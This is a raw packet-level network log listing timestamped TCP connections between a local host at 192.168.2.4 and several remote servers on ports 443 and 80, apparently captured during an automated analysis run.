Apr 24, 2024 14:44:13.373855114 CEST	443	49741	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.385154963 CEST	443	49741	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.385232925 CEST	49741	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.385679007 CEST	49741	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.385881901 CEST	49741	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.385889053 CEST	443	49741	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.392174006 CEST	443	49741	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.392822981 CEST	49744	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.393461943 CEST	49740	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.394153118 CEST	49743	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.394165039 CEST	443	49743	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.403336048 CEST	80	49750	151.101.1.229	192.168.2.4
Apr 24, 2024 14:44:13.403702021 CEST	80	49749	151.101.1.229	192.168.2.4
Apr 24, 2024 14:44:13.410336018 CEST	49742	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.426246881 CEST	49739	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.441371918 CEST	49741	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.441373110 CEST	49743	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.441385031 CEST	443	49741	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.486692905 CEST	49741	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.557234049 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.557918072 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.557946920 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.558044910 CEST	49747	443	192.168.2.4	151.101.194.137
Apr 24, 2024 14:44:13.558058977 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.558106899 CEST	49747	443	192.168.2.4	151.101.194.137
Apr 24, 2024 14:44:13.558311939 CEST	443	49746	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.558775902 CEST	443	49746	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.558839083 CEST	443	49746	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.558851004 CEST	49746	443	192.168.2.4	151.101.194.137
Apr 24, 2024 14:44:13.558877945 CEST	443	49746	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.558926105 CEST	49746	443	192.168.2.4	151.101.194.137
Apr 24, 2024 14:44:13.563088894 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.563991070 CEST	443	49746	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.568435907 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.568492889 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.568502903 CEST	49747	443	192.168.2.4	151.101.194.137
Apr 24, 2024 14:44:13.568510056 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.568595886 CEST	49747	443	192.168.2.4	151.101.194.137
Apr 24, 2024 14:44:13.569312096 CEST	443	49746	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.569339037 CEST	443	49746	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.569365978 CEST	49746	443	192.168.2.4	151.101.194.137
Apr 24, 2024 14:44:13.569372892 CEST	443	49746	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.569412947 CEST	49746	443	192.168.2.4	151.101.194.137
Apr 24, 2024 14:44:13.573770046 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.574619055 CEST	443	49746	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.574688911 CEST	443	49746	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.574738979 CEST	49746	443	192.168.2.4	151.101.194.137
Apr 24, 2024 14:44:13.574909925 CEST	49746	443	192.168.2.4	151.101.194.137
Apr 24, 2024 14:44:13.574923992 CEST	443	49746	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.574934959 CEST	49746	443	192.168.2.4	151.101.194.137
Apr 24, 2024 14:44:13.574968100 CEST	49746	443	192.168.2.4	151.101.194.137
Apr 24, 2024 14:44:13.575189114 CEST	443	49753	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:13.575472116 CEST	49753	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:13.575479984 CEST	443	49753	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:13.575680017 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:13.576358080 CEST	49754	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:13.576374054 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:13.576508045 CEST	443	49753	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:13.576566935 CEST	49753	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:13.577327013 CEST	49753	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:13.577383995 CEST	443	49753	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:13.577430964 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:13.577490091 CEST	49754	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:13.577524900 CEST	49753	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:13.577532053 CEST	443	49753	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:13.579099894 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.579159021 CEST	49747	443	192.168.2.4	151.101.194.137
Apr 24, 2024 14:44:13.579169035 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.580845118 CEST	49754	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:13.580913067 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:13.581089020 CEST	49754	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:13.581096888 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:13.584485054 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.584547997 CEST	49747	443	192.168.2.4	151.101.194.137
Apr 24, 2024 14:44:13.584556103 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.616545916 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.616554976 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.616569042 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.616636992 CEST	49747	443	192.168.2.4	151.101.194.137
Apr 24, 2024 14:44:13.616647959 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.616662025 CEST	49747	443	192.168.2.4	151.101.194.137
Apr 24, 2024 14:44:13.616666079 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.616697073 CEST	49747	443	192.168.2.4	151.101.194.137
Apr 24, 2024 14:44:13.627171993 CEST	49753	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:13.628268957 CEST	49754	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:13.657326937 CEST	49747	443	192.168.2.4	151.101.194.137
Apr 24, 2024 14:44:13.712230921 CEST	443	49748	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:13.712441921 CEST	443	49748	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:13.712515116 CEST	49748	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:13.712537050 CEST	443	49748	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:13.712582111 CEST	443	49748	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:13.712647915 CEST	49748	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:13.713881969 CEST	49748	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:13.713912010 CEST	443	49748	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:13.734121084 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.734129906 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.734184980 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.734213114 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.734244108 CEST	49747	443	192.168.2.4	151.101.194.137
Apr 24, 2024 14:44:13.734272957 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.734299898 CEST	49747	443	192.168.2.4	151.101.194.137
Apr 24, 2024 14:44:13.734316111 CEST	49747	443	192.168.2.4	151.101.194.137
Apr 24, 2024 14:44:13.761575937 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.761595964 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.761661053 CEST	49747	443	192.168.2.4	151.101.194.137
Apr 24, 2024 14:44:13.761691093 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.761729956 CEST	49747	443	192.168.2.4	151.101.194.137
Apr 24, 2024 14:44:13.770679951 CEST	443	49744	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.770761967 CEST	443	49744	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.770858049 CEST	49744	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.772854090 CEST	443	49743	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.772916079 CEST	443	49743	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.772970915 CEST	49743	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.782552958 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.782572031 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.782623053 CEST	49747	443	192.168.2.4	151.101.194.137
Apr 24, 2024 14:44:13.782636881 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.782689095 CEST	49747	443	192.168.2.4	151.101.194.137
Apr 24, 2024 14:44:13.791100025 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.791171074 CEST	49747	443	192.168.2.4	151.101.194.137
Apr 24, 2024 14:44:13.791188002 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.791204929 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.791243076 CEST	49747	443	192.168.2.4	151.101.194.137
Apr 24, 2024 14:44:13.792622089 CEST	49743	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.792644024 CEST	443	49743	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.793495893 CEST	49755	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.793525934 CEST	443	49755	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.793575048 CEST	49755	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.796361923 CEST	49755	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.796370983 CEST	443	49755	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.796546936 CEST	49744	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.796555996 CEST	443	49744	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.797046900 CEST	49756	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.797096968 CEST	443	49756	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.797152042 CEST	49756	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.799668074 CEST	49756	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.799702883 CEST	443	49756	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.800450087 CEST	49747	443	192.168.2.4	151.101.194.137
Apr 24, 2024 14:44:13.800472975 CEST	443	49747	151.101.194.137	192.168.2.4
Apr 24, 2024 14:44:13.844631910 CEST	443	49739	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.844702959 CEST	443	49739	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.844743967 CEST	49739	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.845061064 CEST	443	49742	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.845084906 CEST	443	49742	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.845091105 CEST	443	49742	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.845104933 CEST	443	49742	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.845138073 CEST	49742	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.845143080 CEST	443	49742	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.845164061 CEST	49742	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.845196009 CEST	49742	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.846286058 CEST	443	49741	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.846307993 CEST	443	49741	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.846345901 CEST	49741	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.846358061 CEST	443	49741	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.846370935 CEST	443	49741	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.846425056 CEST	49741	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.853132010 CEST	49739	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.853157043 CEST	443	49739	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.853974104 CEST	49758	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.854001999 CEST	443	49758	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.854053974 CEST	49758	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.856379986 CEST	49758	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.856395960 CEST	443	49758	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.860816002 CEST	49742	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.860842943 CEST	443	49742	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.862137079 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.862168074 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.862221956 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.863992929 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.864007950 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.864809990 CEST	49741	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.864824057 CEST	443	49741	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.865309954 CEST	49760	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.865346909 CEST	443	49760	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.865396023 CEST	49760	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.866750956 CEST	49760	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.866774082 CEST	443	49760	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.983144999 CEST	443	49740	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.983192921 CEST	443	49740	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.983216047 CEST	443	49740	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.983253956 CEST	443	49740	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.983269930 CEST	49740	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.983289003 CEST	443	49740	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.983299017 CEST	443	49740	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.983309984 CEST	49740	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.983318090 CEST	49740	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.983345985 CEST	49740	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.983674049 CEST	443	49740	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.983716965 CEST	443	49740	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.983732939 CEST	49740	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.983740091 CEST	443	49740	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:13.983769894 CEST	49740	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:13.983782053 CEST	49740	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.194181919 CEST	443	49740	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.194200993 CEST	443	49740	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.194242954 CEST	49740	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.194255114 CEST	443	49740	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.194288969 CEST	49740	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.195105076 CEST	443	49740	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.195120096 CEST	443	49740	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.195152998 CEST	49740	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.195158005 CEST	443	49740	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.195260048 CEST	49740	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.195780039 CEST	443	49740	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.195796013 CEST	443	49740	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.195823908 CEST	49740	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.195830107 CEST	443	49740	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.195858002 CEST	49740	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.197839022 CEST	443	49753	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.197913885 CEST	443	49753	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.197943926 CEST	49753	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:14.197947979 CEST	443	49753	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.197958946 CEST	443	49753	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.197990894 CEST	49753	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:14.198002100 CEST	443	49753	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.198015928 CEST	443	49753	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.198045015 CEST	49753	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:14.199584961 CEST	49753	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:14.199605942 CEST	443	49753	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.211955070 CEST	80	49752	151.101.1.229	192.168.2.4
Apr 24, 2024 14:44:14.212006092 CEST	49752	80	192.168.2.4	151.101.1.229
Apr 24, 2024 14:44:14.217869997 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.218055010 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.218092918 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.218092918 CEST	49754	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:14.218111992 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.218137980 CEST	49754	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:14.218164921 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.223236084 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.223269939 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.223272085 CEST	49754	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:14.223285913 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.223324060 CEST	49754	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:14.228796959 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.231421947 CEST	443	49756	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.231941938 CEST	49756	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.231978893 CEST	443	49756	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.232429028 CEST	443	49756	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.233047009 CEST	49756	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.233125925 CEST	443	49756	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.233479977 CEST	49756	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.233932018 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.233997107 CEST	49754	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:14.234018087 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.239278078 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.239325047 CEST	49754	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:14.239331007 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.244571924 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.244618893 CEST	49754	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:14.244625092 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.249876022 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.249921083 CEST	49754	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:14.249943018 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.255211115 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.255223036 CEST	443	49755	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.255260944 CEST	49754	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:14.255268097 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.255774975 CEST	49755	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.255781889 CEST	443	49755	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.256319046 CEST	443	49755	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.256812096 CEST	49755	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.256875038 CEST	443	49755	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.257225037 CEST	49755	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.260485888 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.260533094 CEST	49754	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:14.260543108 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.265820026 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.265856981 CEST	49754	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:14.265877962 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.276127100 CEST	443	49756	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.276479006 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.276515961 CEST	49754	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:14.276537895 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.281884909 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.281924963 CEST	49754	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:14.281948090 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.284543991 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.284591913 CEST	49754	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:14.286714077 CEST	49754	443	192.168.2.4	151.101.193.229
Apr 24, 2024 14:44:14.286737919 CEST	443	49754	151.101.193.229	192.168.2.4
Apr 24, 2024 14:44:14.291107893 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.297512054 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.297573090 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.298712015 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.298779011 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.299421072 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.299499035 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.300144911 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.300160885 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.304121971 CEST	443	49755	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.317013025 CEST	443	49758	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.317257881 CEST	49758	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.317291975 CEST	443	49758	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.318532944 CEST	443	49758	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.318586111 CEST	49758	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.319375038 CEST	49758	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.319449902 CEST	443	49758	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.319875956 CEST	49758	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.319889069 CEST	443	49758	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.325387001 CEST	443	49760	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.326081991 CEST	49760	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.326098919 CEST	443	49760	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.327146053 CEST	443	49760	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.327203989 CEST	49760	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.328921080 CEST	49760	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.329019070 CEST	443	49760	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.329381943 CEST	49760	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.329391003 CEST	443	49760	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.344865084 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.362689018 CEST	49758	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.376183033 CEST	49760	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.404448032 CEST	443	49740	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.404476881 CEST	443	49740	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.404521942 CEST	49740	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.404531002 CEST	443	49740	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.404577017 CEST	49740	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.404903889 CEST	443	49740	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.404954910 CEST	49740	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.404979944 CEST	443	49740	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.405025959 CEST	443	49740	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.405038118 CEST	443	49740	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.405047894 CEST	49740	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.405077934 CEST	49740	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.406769991 CEST	49740	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.406785965 CEST	443	49740	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.407370090 CEST	49761	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.407438040 CEST	443	49761	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.407524109 CEST	49761	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.411972046 CEST	49761	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.412014961 CEST	443	49761	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.724075079 CEST	443	49755	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.724117041 CEST	443	49755	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.724176884 CEST	49755	443	192.168.2.4	35.222.242.251
